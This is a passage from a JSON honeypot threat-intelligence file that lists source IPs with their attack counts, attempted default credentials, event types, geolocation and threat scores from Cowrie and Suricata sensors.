    },
    "31.57.184.208": {
      "attack_count": 14,
      "first_seen": "2026-05-15T12:59:45.753Z",
      "last_seen": "2026-05-16T19:41:48.092Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "test"
      ],
      "passwords_attempted": [
        "admin",
        "test"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 197769,
      "as_org": "VPS Dedicated LLC",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T12:59:45.753000+00:00",
        "last_seen_30d": "2026-05-16T19:42:54.973000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "117.50.50.224": {
      "attack_count": 11,
      "first_seen": "2026-05-17T12:35:10.404Z",
      "last_seen": "2026-05-17T12:38:21.958Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T14:01:50.065000+00:00",
        "last_seen_30d": "2026-05-17T12:48:34.444000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 6
      }
    },
    "163.172.46.135": {
      "attack_count": 10,
      "first_seen": "2026-05-05T21:10:33.866Z",
      "last_seen": "2026-05-05T22:45:40.071Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T20:35:09.027000+00:00",
        "last_seen_30d": "2026-05-06T00:50:36.124000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Cowrie": 10
      }
    },
    "186.209.109.225": {
      "attack_count": 10,
      "first_seen": "2026-05-24T08:44:22.351Z",
      "last_seen": "2026-05-24T08:50:50.971Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Contagem",
      "asn": 53153,
      "as_org": "CINTE Telecom Comercio e Servicos Ltda.",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T08:44:22.351000+00:00",
        "last_seen_30d": "2026-05-24T09:01:32.746000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "190.22.159.33": {
      "attack_count": 10,
      "first_seen": "2026-05-03T14:19:15.110Z",
      "last_seen": "2026-05-03T14:25:18.337Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 7418,
      "as_org": "TELEFONICA CHILE S.A.",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T14:19:15.110000+00:00",
        "last_seen_30d": "2026-05-03T14:27:00.502000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 9
      }
    },
    "201.238.3.192": {
      "attack_count": 10,
      "first_seen": "2026-05-20T13:02:19.261Z",
      "last_seen": "2026-05-20T15:38:03.798Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T13:02:19.261000+00:00",
        "last_seen_30d": "2026-05-20T15:39:06.552000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "105.184.29.236": {
      "attack_count": 8,
      "first_seen": "2026-05-19T08:49:06.442Z",
      "last_seen": "2026-05-19T10:11:45.605Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Pietermaritzburg",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:49:06.442000+00:00",
        "last_seen_30d": "2026-05-19T10:12:49.883000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "135.237.126.9": {
      "attack_count": 7,
      "first_seen": "2026-05-04T15:11:54.313Z",
      "last_seen": "2026-05-04T15:12:04.319Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 67.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.7,
        "persistence": 25,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 30,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T23:24:37+00:00",
        "last_seen_30d": "2026-05-31T05:38:43.894000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 9,
        "Cowrie": 7
      }
    },
    "142.93.160.51": {
      "attack_count": 7,
      "first_seen": "2026-05-26T06:59:50.550Z",
      "last_seen": "2026-05-26T06:59:50.893Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 63.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 144565,
        "days_active_30d": 1,
        "ports_targeted_30d": 65062,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-05-26T06:56:14+00:00",
        "last_seen_30d": "2026-05-26T07:11:04.743000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 124185,
        "Honeytrap": 20342,
        "Mailoney": 12,
        "Cowrie": 7,
        "Dionaea": 5,
        "ConPot": 4,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "176.125.243.52": {
      "attack_count": 6,
      "first_seen": "2026-05-05T01:29:53.672Z",
      "last_seen": "2026-05-05T01:30:01.116Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": "Chisinau",
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:29:53.672000+00:00",
        "last_seen_30d": "2026-05-05T01:31:08.435000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "187.249.120.128": {
      "attack_count": 6,
      "first_seen": "2026-05-13T04:35:24.600Z",
      "last_seen": "2026-05-13T04:37:34.442Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Silao",
      "asn": 32098,
      "as_org": "Transtelco Inc",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T04:35:24.600000+00:00",
        "last_seen_30d": "2026-05-13T04:39:05.624000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "66.132.172.38": {
      "attack_count": 6,
      "first_seen": "2026-05-19T00:31:25.256Z",
      "last_seen": "2026-05-19T00:32:00.247Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 86.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T04:54:29+00:00",
        "last_seen_30d": "2026-05-31T04:44:25.277000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 50,
        "Cowrie": 6,
        "Dionaea": 3
      }
    },
    "103.171.69.117": {
      "attack_count": 5,
      "first_seen": "2026-05-21T19:41:40.075Z",
      "last_seen": "2026-05-21T19:41:42.035Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "xhs"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T19:41:40.075000+00:00",
        "last_seen_30d": "2026-05-21T19:42:47.080000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "14.103.112.108": {
      "attack_count": 5,
      "first_seen": "2026-05-05T14:45:03.963Z",
      "last_seen": "2026-05-05T14:45:06.805Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "git"
      ],
      "passwords_attempted": [
        "s3rv3r"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:45:03.963000+00:00",
        "last_seen_30d": "2026-05-05T14:46:08.607000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "176.65.139.198": {
      "attack_count": 5,
      "first_seen": "2026-05-23T22:35:23.865Z",
      "last_seen": "2026-05-23T22:35:26.634Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 50.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.7,
        "persistence": 7.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 9,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-15T20:06:08.122000+00:00",
        "last_seen_30d": "2026-05-23T22:36:27.729000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Miniprint": 48,
        "Cowrie": 5,
        "Honeytrap": 5
      }
    },
    "94.75.225.81": {
      "attack_count": 5,
      "first_seen": "2026-05-17T23:48:21.195Z",
      "last_seen": "2026-05-17T23:48:30.703Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 60781,
      "as_org": "LeaseWeb Netherlands B.V.",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T23:48:21.195000+00:00",
        "last_seen_30d": "2026-05-17T23:49:40.980000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "112.225.133.235": {
      "attack_count": 4,
      "first_seen": "2026-05-21T23:48:50.094Z",
      "last_seen": "2026-05-23T02:26:30.698Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T23:48:50.094000+00:00",
        "last_seen_30d": "2026-05-23T02:27:36.745000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "181.35.245.6": {
      "attack_count": 4,
      "first_seen": "2026-05-21T09:30:08.742Z",
      "last_seen": "2026-05-21T09:40:03.847Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:30:08.742000+00:00",
        "last_seen_30d": "2026-05-21T09:41:12.107000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "190.246.44.57": {
      "attack_count": 4,
      "first_seen": "2026-05-17T21:57:24.054Z",
      "last_seen": "2026-05-20T19:24:18.482Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Villa Bosch",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T21:57:24.054000+00:00",
        "last_seen_30d": "2026-05-20T19:25:27.056000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "198.235.24.92": {
      "attack_count": 4,
      "first_seen": "2026-05-18T22:56:45.521Z",
      "last_seen": "2026-05-18T22:56:48.703Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 29,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T20:39:40.542000+00:00",
        "last_seen_30d": "2026-05-30T23:21:17.703000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 26,
        "ConPot": 4,
        "Cowrie": 4
      }
    },
    "221.226.232.44": {
      "attack_count": 4,
      "first_seen": "2026-05-29T07:26:58.609Z",
      "last_seen": "2026-05-29T07:27:13.433Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134756,
      "as_org": "CHINANET Nanjing Jishan IDC network",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T07:26:58.609000+00:00",
        "last_seen_30d": "2026-05-29T07:28:21.895000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "75.111.120.108": {
      "attack_count": 4,
      "first_seen": "2026-05-13T10:57:17.908Z",
      "last_seen": "2026-05-13T10:57:44.778Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Lubbock",
      "asn": 19108,
      "as_org": "Optimum",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-13T10:57:17.908000+00:00",
        "last_seen_30d": "2026-05-13T10:58:52.482000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "106.6.204.95": {
      "attack_count": 2,
      "first_seen": "2026-05-23T06:29:32.588Z",
      "last_seen": "2026-05-23T06:29:45.817Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:29:32.588000+00:00",
        "last_seen_30d": "2026-05-23T06:30:53.837000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.170.207.251": {
      "attack_count": 2,
      "first_seen": "2026-05-14T14:35:38.625Z",
      "last_seen": "2026-05-14T14:36:09.225Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Siheung-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T14:35:38.625000+00:00",
        "last_seen_30d": "2026-05-14T14:37:10.726000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "113.225.78.102": {
      "attack_count": 2,
      "first_seen": "2026-05-09T11:21:13.070Z",
      "last_seen": "2026-05-09T11:21:27.410Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenyang",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T11:21:13.070000+00:00",
        "last_seen_30d": "2026-05-09T11:22:30.002000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.242.172.232": {
      "attack_count": 2,
      "first_seen": "2026-05-02T09:30:28.130Z",
      "last_seen": "2026-05-02T09:30:40.746Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Jinhua",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:30:28.130000+00:00",
        "last_seen_30d": "2026-05-02T09:31:47.260000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.25.225.157": {
      "attack_count": 2,
      "first_seen": "2026-05-08T03:39:21.954Z",
      "last_seen": "2026-05-08T03:39:34.803Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Uttaradit",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:39:21.954000+00:00",
        "last_seen_30d": "2026-05-08T03:40:35.391000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.108.143.237": {
      "attack_count": 2,
      "first_seen": "2026-05-23T21:55:02.490Z",
      "last_seen": "2026-05-23T21:57:02.493Z",
